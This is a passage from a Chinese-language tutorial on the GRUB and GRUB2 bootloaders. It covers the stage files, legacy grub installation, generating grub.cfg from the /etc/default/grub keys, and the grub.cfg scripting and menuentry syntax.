&lt;p&gt;(3)stage2&lt;&#x2F;p&gt;
&lt;p&gt;stage2的作用是加载各种环境和加载内核，在grub2中没有完全与之相对应的img文件，但是core.img中包含了stage2的所有功能。&lt;&#x2F;p&gt;
&lt;p&gt;当跳转到stage2的第一个扇区后，该扇区的代码负责加载stage2剩余的内容。&lt;&#x2F;p&gt;
&lt;p&gt;注意，stage2是存放在磁盘上的，并没有像core.img一样嵌入到磁盘上。&lt;&#x2F;p&gt;
&lt;p&gt;(4)stage2_eltorito&lt;&#x2F;p&gt;
&lt;p&gt;功能上等价于grub2中的core.img中的cdboot.img部分。一般在制作救援模式的grub时才会使用到cd-rom相关文件。&lt;&#x2F;p&gt;
&lt;p&gt;(5)pxegrub&lt;&#x2F;p&gt;
&lt;p&gt;功能上等价于grub2中的core.img中的pxeboot.img部分。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-2-3-an-zhuang-grubshe-ji-de-guo-cheng&quot;&gt;1.2.3 安装grub涉及的过程&lt;&#x2F;h3&gt;
&lt;p&gt;安装grub2的过程大体分两步：一是根据&#x2F;usr&#x2F;lib&#x2F;grub&#x2F;i386-pc&#x2F;目录下的文件生成core.img，并拷贝boot.img和core.img涉及的某些模块文件到&#x2F;boot&#x2F;grub2&#x2F;i386-pc&#x2F;目录下；二是根据&#x2F;boot&#x2F;grub2&#x2F;i386-pc目录下的文件向磁盘上写boot loader。&lt;&#x2F;p&gt;
&lt;p&gt;当然，到底是先拷贝，还是先写boot loader，没必要去搞清楚，只要&#x2F;boot&#x2F;grub2&#x2F;i386-pc下的img文件一定能通过grub2相关程序再次生成boot loader。所以，既可以认为&#x2F;boot&#x2F;grub2&#x2F;i386-pc目录下的img文件是boot loader的特殊备份文件，也可以认为是boot loader的源文件。&lt;&#x2F;p&gt;
&lt;p&gt;不过，img文件和boot loader的内容是不一致的，因为img文件还要通过grub2相关程序来转换才是真正的boot loader。&lt;&#x2F;p&gt;
&lt;p&gt;对于传统的grub而言，拷贝的不是img文件，而是stage文件。&lt;&#x2F;p&gt;
&lt;p&gt;以下是安装传统grub时，grub做的工作。很不幸，grub2上没有该命令，也没有与之等价的命令。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;grub&amp;gt; setup (hd0)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; Checking if &quot;&#x2F;boot&#x2F;grub&#x2F;stage1&quot; exists... yes&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; Checking if &quot;&#x2F;boot&#x2F;grub&#x2F;stage2&quot; exists... yes&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; Checking if &quot;&#x2F;boot&#x2F;grub&#x2F;e2fs_stage1_5&quot; exists... yes&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; Running &quot;embed &#x2F;boot&#x2F;grub&#x2F;e2fs_stage1_5 (hd0)&quot;...  15 sectors are embedded.&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;succeeded&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; Running &quot;install &#x2F;boot&#x2F;grub&#x2F;stage1 (hd0) (hd0)1+15 p (hd0,0)&#x2F;boot&#x2F;grub&#x2F;stage2 &#x2F;boot&#x2F;grub&#x2F;menu.lst&quot;... succeeded&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;Done.&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;首先检测各stage文件是否存在于&#x2F;boot&#x2F;grub目录下，随后嵌入stage1_5到磁盘上，该文件系统类型的stage1_5占用了15个扇区，最后安装stage1，并告知stage1 stage1_5的位置是第1到第15个扇区，之所以先嵌入stage1_5再嵌入stage1就是为了让stage1知道stage1_5的位置，最后还告知了stage1 stage2和配置文件menu.lst的路径。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;1-3-grub2pei-zhi-wen-jian&quot;&gt;1.3 grub2配置文件&lt;&#x2F;h2&gt;
&lt;p&gt;grub2的默认配置文件为&#x2F;boot&#x2F;grub2&#x2F;grub.cfg，该配置文件的写法弹性非常大，但绝大多数需要修改该配置文件时，都只需修改其中一小部分内容就可以达成目标。&lt;&#x2F;p&gt;
&lt;p&gt;grub2-mkconfig程序可用来生成符合绝大多数情况的grub.cfg文件，默认它会自动尝试探测有效的操作系统内核，并生成对应的操作系统菜单项。使用方法非常简单，只需一个选项”-o”指定输出文件即可。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;shell&amp;gt; grub2-mkconfig -o &#x2F;boot&#x2F;grub2&#x2F;grub.cfg&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h3 id=&quot;1-3-1-tong-guo-etc-default-grubwen-jian-sheng-cheng-grub-cfg&quot;&gt;1.3.1 通过&#x2F;etc&#x2F;default&#x2F;grub文件生成grub.cfg&lt;&#x2F;h3&gt;
&lt;p&gt;官方手册原文：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.gnu.org&#x2F;software&#x2F;grub&#x2F;manual&#x2F;html_node&#x2F;Simple-configuration.html#Simple-configuration&quot;&gt;https:&#x2F;&#x2F;www.gnu.org&#x2F;software&#x2F;grub&#x2F;manual&#x2F;html_node&#x2F;Simple-configuration.html#Simple-configuration&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;grub2-mkconfig是根据&#x2F;etc&#x2F;default&#x2F;grub文件来创建配置文件的。该文件中定义的是grub的全局宏，修改内置的宏可以快速生成grub配置文件。实际上在&#x2F;etc&#x2F;grub.d&#x2F;目录下还有一些grub配置脚本，这些shell脚本读取一些脚本配置文件(如&#x2F;etc&#x2F;default&#x2F;grub)，根据指定的逻辑生成grub配置文件。若有兴趣，不放读一读&lt;code&gt;&#x2F;etc&#x2F;grub.d&#x2F;10_linux&lt;&#x2F;code&gt;文件，它指导了创建grub.cfg的细节，例如如何生成启动菜单。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;[root@xuexi ~]# ls &#x2F;etc&#x2F;grub.d&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;00_header  00_tuned  01_users  10_linux  20_linux_xen  20_ppc_terminfo  30_os-prober  40_custom  41_custom  README&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;在&#x2F;etc&#x2F;default&#x2F;grub中，使用&lt;code&gt;key=vaule&lt;&#x2F;code&gt;的格式，key全部为大小字母，如果vaule部分包含了空格或其他特殊字符，则需要使用引号包围。&lt;&#x2F;p&gt;
&lt;p&gt;例如，下面是一个&#x2F;etc&#x2F;default&#x2F;grub文件的示例：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;[root@xuexi ~]# cat &#x2F;etc&#x2F;default&#x2F;grub&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;GRUB_TIMEOUT=5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;GRUB_DISTRIBUTOR=&quot;,,g&#x27; &#x2F;etc&#x2F;system-release)&quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;GRUB_DEFAULT=saved&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;GRUB_DISABLE_SUBMENU=true&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;GRUB_TERMINAL_OUTPUT=&quot;console&quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;GRUB_CMDLINE_LINUX=&quot;crashkernel=auto biosdevname=0 net.ifnames=0 rhgb quiet&quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;GRUB_DISABLE_RECOVERY=&quot;true&quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;虽然可用的宏较多，但可能用的上的就几个：&lt;code&gt;GRUB_DEFAULT、GRUB_TIMEOUT、GRUB_CMDLINE_LINUX和GRUB_CMDLINE_LINUX_DEFAULT&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;以下列出了部分key。&lt;&#x2F;p&gt;
&lt;p&gt;(1).GRUB_DEFAULT&lt;&#x2F;p&gt;
&lt;p&gt;默认的菜单项，默认值为0。其值可为数值N，表示从0开始计算的第N项是默认菜单，也可以指定对应的title表示该项为默认的菜单项。使用数值比较好，因为使用的title可能包含了容易改变的设备名。例如有如下菜单项：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;menuentry &#x27;Example GNU&#x2F;Linux distribution&#x27; --class gnu-linux --id example-gnu-linux {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    ...&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;如果想将此菜单设为默认菜单，则可设置&lt;code&gt;GRUB_DEFAULT=example-gnu-linux&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;如果&lt;code&gt;GRUB_DEFAULT&lt;&#x2F;code&gt;的值设置为”saved”，则表示默认的菜单项是&lt;code&gt;GRUB_SAVEDEFAULT&lt;&#x2F;code&gt;或”grub-set-default”所指定的菜单项。&lt;&#x2F;p&gt;
&lt;p&gt;(2).GRUB_SAVEDEFAULT&lt;&#x2F;p&gt;
&lt;p&gt;默认该key的值未设置。如果该key的值设置为true时，如果选定了某菜单项，则该菜单项将被认为是新的默认菜单项。该key只有在设置了&lt;code&gt;GRUB_DEFAULT=saved&lt;&#x2F;code&gt;时才有效。&lt;&#x2F;p&gt;
&lt;p&gt;不建议使用该key，因为&lt;code&gt;GRUB_DEFAULT&lt;&#x2F;code&gt;配合grub-set-default更方便。&lt;&#x2F;p&gt;
&lt;p&gt;(3).GRUB_TIMEOUT&lt;&#x2F;p&gt;
&lt;p&gt;在开机选择菜单项的超时时间，超过该时间将使用默认的菜单项来引导对应的操作系统。默认值为5秒。等待过程中，按下任意按键都可以中断等待。&lt;&#x2F;p&gt;
&lt;p&gt;设置为0时，将不列出菜单直接使用默认的菜单项引导与之对应的操作系统，设置为”-1”时将永久等待选择。&lt;&#x2F;p&gt;
&lt;p&gt;是否显示菜单，和&lt;code&gt;GRUB_TIMEOUT_STYLE&lt;&#x2F;code&gt;的设置有关。&lt;&#x2F;p&gt;
&lt;p&gt;(4).GRUB_TIMEOUT_STYLE&lt;&#x2F;p&gt;
&lt;p&gt;如果该key未设置值或者设置的值为”menu”，则列出启动菜单项，并等待&lt;code&gt;GRUB_TIMEOUT&lt;&#x2F;code&gt;指定的超时时间。&lt;&#x2F;p&gt;
&lt;p&gt;如果设置为”countdown”和”hidden”，则不显示启动菜单项，而是直接等待&lt;code&gt;GRUB_TIMEOUT&lt;&#x2F;code&gt;指定的超时时间，如果超时了则启动默认菜单项并引导对应的操作系统。在等待过程中，按下”ESC”键可以列出启动菜单。设置为countdown和hidden的区别是countdown会显示超时时间的剩余时间，而hidden则完全隐藏超时时间。&lt;&#x2F;p&gt;
&lt;p&gt;(5).GRUB_DISTRIBUTOR&lt;&#x2F;p&gt;
&lt;p&gt;设置发行版的标识名称，一般该名称用来作为菜单的一部分，以便区分不同的操作系统。&lt;&#x2F;p&gt;
&lt;p&gt;(6).GRUB_CMDLINE_LINUX&lt;&#x2F;p&gt;
&lt;p&gt;添加到菜单中的内核启动参数。例如：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;GRUB_CMDLINE_LINUX=&quot;crashkernel=ro root=&#x2F;dev&#x2F;sda3 biosdevname=0 net.ifnames=0 rhgb quiet&quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;(7).GRUB_CMDLINE_LINUX_DEFAULT&lt;&#x2F;p&gt;
&lt;p&gt;除非&lt;code&gt;GRUB_DISABLE_RECOVERY&lt;&#x2F;code&gt;设置为”true”，否则该key指定的默认内核启动参数将生成两份，一份是用于默认启动参数，一份用于恢复模式(recovery mode)的启动参数。&lt;&#x2F;p&gt;
&lt;p&gt;该key生成的默认内核启动参数将添加在&lt;code&gt;GRUB_CMDLINE_LINUX&lt;&#x2F;code&gt;所指定的启动参数之后。&lt;&#x2F;p&gt;
&lt;p&gt;(8).GRUB_DISABLE_RECOVERY&lt;&#x2F;p&gt;
&lt;p&gt;该项设置为true时，将不会生成恢复模式的菜单项。&lt;&#x2F;p&gt;
&lt;p&gt;(9).GRUB_DISABLE_LINUX_UUID&lt;&#x2F;p&gt;
&lt;p&gt;默认情况下，grub2-mkconfig在生产菜单项的时候将使用uuid来标识Linux 内核的根文件系统，即&lt;code&gt;root=UUID=...&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;例如，下面是&#x2F;boot&#x2F;grub2&#x2F;grub.cfg中某菜单项的部分内容。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;menuentry &#x27;CentOS Linux (3.10.0-327.el7.x86_64) 7 (Core)&#x27; --class centos --class gnu-linux --class gnu --class os --unrestricted $menuentry_id_option &#x27;gnulinux-3.10.0-327.el7.x86_64-advanced-b2a70faf-aea4-4d8e-8be8-c7109ac9c8b8&#x27; {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  ......&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  linux16 &#x2F;vmlinuz-3.10.0-327.el7.x86_64root=UUID=b2a70faf-aea4-4d8e-8be8-c7109ac9c8b8 ro crashkernel=auto biosdevname=0 net.ifnames=0 quiet LANG=en_US.UTF-8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  initrd16 &#x2F;initramfs-3.10.0-327.el7.x86_64.img&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;虽然使用UUID的方式更可靠，但有时候不太方便，所以可以设置该key为true来禁用。&lt;&#x2F;p&gt;
&lt;p&gt;(10).GRUB_BACKGROUND&lt;&#x2F;p&gt;
&lt;p&gt;设置背景图片，背景图片必须是grub可读的，图片文件名后缀必须是”.png”、”.tga”、”.jpg”、”.jpeg”，在需要的时候，grub会按比例缩小图片的大小以适配屏幕大小。&lt;&#x2F;p&gt;
&lt;p&gt;(11).GRUB_THEME&lt;&#x2F;p&gt;
&lt;p&gt;设置grub菜单的主题。&lt;&#x2F;p&gt;
&lt;p&gt;(12).GRUB_GFXPAYLOAD_LINUX&lt;&#x2F;p&gt;
&lt;p&gt;设置为”text”时，将强制使用文本模式启动Linux。在某些情况下，可能不支持图形模式。&lt;&#x2F;p&gt;
&lt;p&gt;(13).GRUB_DISABLE_OS_PROBER&lt;&#x2F;p&gt;
&lt;p&gt;默认情况下，grub2-mkconfig会尝试使用os-prober程序(如果已经安装的话，默认应该都装了)探测其他可用的操作系统内核，并为其生成对应的启动菜单项。设置为”true”将禁用自动探测功能。&lt;&#x2F;p&gt;
&lt;p&gt;(14).GRUB_DISABLE_SUBMENU&lt;&#x2F;p&gt;
&lt;p&gt;默认情况下，grub2-mkconfig如果发现有多个同版本的或低版本的内核时，将只为最高版本的内核生成顶级菜单，其他所有的低版本内核菜单都放入子菜单中，设置为”y”将全部生成为顶级菜单。&lt;&#x2F;p&gt;
&lt;p&gt;(15).GRUB_HIDDEN_TIMEOUT(已废弃，但为了向后兼容，仍有效)&lt;&#x2F;p&gt;
&lt;p&gt;使用&lt;code&gt;GRUB_TIMEOUT_STYLE={countdown|hidden}&lt;&#x2F;code&gt;替代该项&lt;&#x2F;p&gt;
&lt;p&gt;(16).GRUB_HIDDEN_TIMEOUT_QUIET(已废弃，但为了向后兼容，仍有效)&lt;&#x2F;p&gt;
&lt;p&gt;配合&lt;code&gt;GRUB_HIDDEN_TIMEOUT&lt;&#x2F;code&gt;使用，可以使用&lt;code&gt;GRUB_TIMEOUT_STYLE=countdown&lt;&#x2F;code&gt;来替代这两项。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-3-2-jiao-ben-fang-shi-zhi-jie-bian-xie-grub-cfgwen-jian&quot;&gt;1.3.2 脚本方式直接编写grub.cfg文件&lt;&#x2F;h3&gt;
&lt;p&gt;官方手册原文：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.gnu.org&#x2F;software&#x2F;grub&#x2F;manual&#x2F;html_node&#x2F;Shell_002dlike-scripting.html#Shell_002dlike-scripting&quot;&gt;https:&#x2F;&#x2F;www.gnu.org&#x2F;software&#x2F;grub&#x2F;manual&#x2F;html_node&#x2F;Shell_002dlike-scripting.html#Shell_002dlike-scripting&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;注释符：从&lt;code&gt;#&lt;&#x2F;code&gt;开始的字符都被认为是注释，所以grub支持行中注释&lt;&#x2F;li&gt;
&lt;li&gt;连接操作符：&lt;code&gt;{ } | &amp;amp; $ ; &amp;lt; &amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;保留关键字和符号：&lt;code&gt;! [[ ]] { } case do done elif else esac fi for function if in menuentry select then time until while&lt;&#x2F;code&gt;。并非所有的关键字都有用，只是为了日后的功能扩展而提前提供的。&lt;&#x2F;li&gt;
&lt;li&gt;引号和转义符
对于特殊的字符需要转义。有三种方式转义：使用反斜线、使用单引号、使用双引号。
反斜线转义方式和shell一样。
单引号中的所有字符串都是字面意思，没有任何特殊意义，即使单引号中的转义符也被认为是纯粹的字符。所以&lt;code&gt;&#x27;\&#x27;&#x27;&lt;&#x2F;code&gt;是无法保留单引号的。单引号需要使用双引号来转移，所以应该写&lt;code&gt;&quot;&#x27;&quot;&lt;&#x2F;code&gt;。
双引号和单引号作用一样，但它不能转义某几个特殊字符，包括&lt;code&gt;$&lt;&#x2F;code&gt;和&lt;code&gt;\&lt;&#x2F;code&gt;。对于双引号中的&lt;code&gt;$&lt;&#x2F;code&gt;符号，它任何时候都保留本意。对于&lt;code&gt;\&lt;&#x2F;code&gt;，只有反斜线后的字符是&lt;code&gt;$、&#x27;&quot;&#x27;、&#x27;\&#x27;&lt;&#x2F;code&gt;时才表示转义的意思，另外 ，某行若以反斜线结尾，则表示续行，但官方不建议在grub.cfg中使用续行符。&lt;&#x2F;li&gt;
&lt;li&gt;变量扩展
使用&lt;code&gt;$&lt;&#x2F;code&gt;符号引用变量，也可以使用&lt;code&gt;${var}&lt;&#x2F;code&gt;的方式引用var变量。
支持位置变量，例如$1引用的是第一个参数。
还支持特殊的变量，如&lt;code&gt;$?&lt;&#x2F;code&gt;表示上一次命令的退出状态码。如果使用了位置变量，则还支持&lt;code&gt;@ $#&lt;&#x2F;code&gt;，&lt;code&gt;$*&lt;&#x2F;code&gt;代表的所有参数整体，各参数之间是不可分割的，&lt;code&gt;$@&lt;&#x2F;code&gt;也代表所有变量，但&lt;code&gt;$@&lt;&#x2F;code&gt;的各参数是可以被分割的，&lt;code&gt;$#&lt;&#x2F;code&gt;表示参数的个数。&lt;&#x2F;li&gt;
&lt;li&gt;简单的命令
可以在grub.cfg中使用简单的命令。各命令之间使用换行符或分号表示该命令结束。
如果在命令前使用了”!”，则表示逻辑取反。&lt;&#x2F;li&gt;
&lt;li&gt;循环结构：for name in word …; do list; done&lt;&#x2F;li&gt;
&lt;li&gt;循环结构：while cond; do list; done&lt;&#x2F;li&gt;
&lt;li&gt;循环结构：until cond; do list; done&lt;&#x2F;li&gt;
&lt;li&gt;条件判断结构：if list; then list; [elif list; then list;] … [else list;] fi&lt;&#x2F;li&gt;
&lt;li&gt;函数结构：function name { command; … }&lt;&#x2F;li&gt;
&lt;li&gt;菜单项命令：menuentry title [–class=class …] [–users=users] [–unrestricted] [–hotkey=key] [–id=id] { command; … }&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;这是grub.cfg中最重要的项，官方原文：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.gnu.org&#x2F;software&#x2F;grub&#x2F;manual&#x2F;html_node&#x2F;menuentry.html#menuentry&quot;&gt;https:&#x2F;&#x2F;www.gnu.org&#x2F;software&#x2F;grub&#x2F;manual&#x2F;html_node&#x2F;menuentry.html#menuentry&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;该命令定义了一个名为title的grub菜单项。当开机时选中该菜单项时，grub会将chosen环境变量的值赋给&lt;code&gt;--id&lt;&#x2F;code&gt;(如果给定了&lt;code&gt;--id&lt;&#x2F;code&gt;的话)，执行大括号中的命令列表，如果直到最后一个命令都全部执行成功，且成功加载了对应的内核后，将执行boot命令。随后grub就将控制权交给了操作系统内核。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;--class：该选项用于将菜单分组，从而使得grub可以通过主题样式为不同组的菜单显示不同的样式风格。一个menuentry中，可以使用多次class表示将该菜单分到多个组中去。&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;--users：该选项限定只有此处列出的用户才能访问该菜单项，不指定该选项时将表示所有用户都能访问该菜单。&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;--unrestricted：该选项表示所有用户都有权访问该菜单项。&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;--hotkey：该选项为该菜单项关联一个热键，也就是快捷键，关联热键后只要按下该键就会选中该菜单。热键只能是字母键、backspace键、tab键或del键。&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;--id：该选项为该菜单关联一个唯一的数值。id的值可以由ASCII字母、数字&#x2F;&#x2F;下划线组成，且不得以数字开头。&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;所有其他的参数包括title都被当作位置参数传递给大括号中的命令，但title总是$1，除title外的其余参数，位置值从前向后类推。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;break [n]：强制退出for&#x2F;while&#x2F;until循环&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;continue [n]：跳到下一次迭代，即进入下一次循环&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;return [n]：指定返回状态码&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;setparams [arg] …：从$1开始替换位置参数&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;shift [n]：踢掉前n个参数，使得第n+1个参数变为#-n+1到$#这些参数的位置不变&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;具体如何编写grub.cfg文件，继续看下文的命令和变量。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;1-4-ming-ling-xing-he-cai-dan-xiang-zhong-de-ming-ling&quot;&gt;1.4 命令行和菜单项中的命令&lt;&#x2F;h2&gt;
&lt;p&gt;官方手册原文：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.gnu.org&#x2F;software&#x2F;grub&#x2F;manual&#x2F;html_node&#x2F;Commands.html#Commands&quot;&gt;https:&#x2F;&#x2F;www.gnu.org&#x2F;software&#x2F;grub&#x2F;manual&#x2F;html_node&#x2F;Commands.html#Commands&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;grub2支持很多命令，有些命令只能在交互式命令行下使用，有些命令可用在配置文件中。在救援模式下，只有insmod、ls、set和unset命令可用。&lt;&#x2F;p&gt;
&lt;p&gt;无需掌握所有的命令，掌握用的上的几个命令即可。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-4-1-helpming-ling&quot;&gt;1.4.1 help命令&lt;&#x2F;h3&gt;
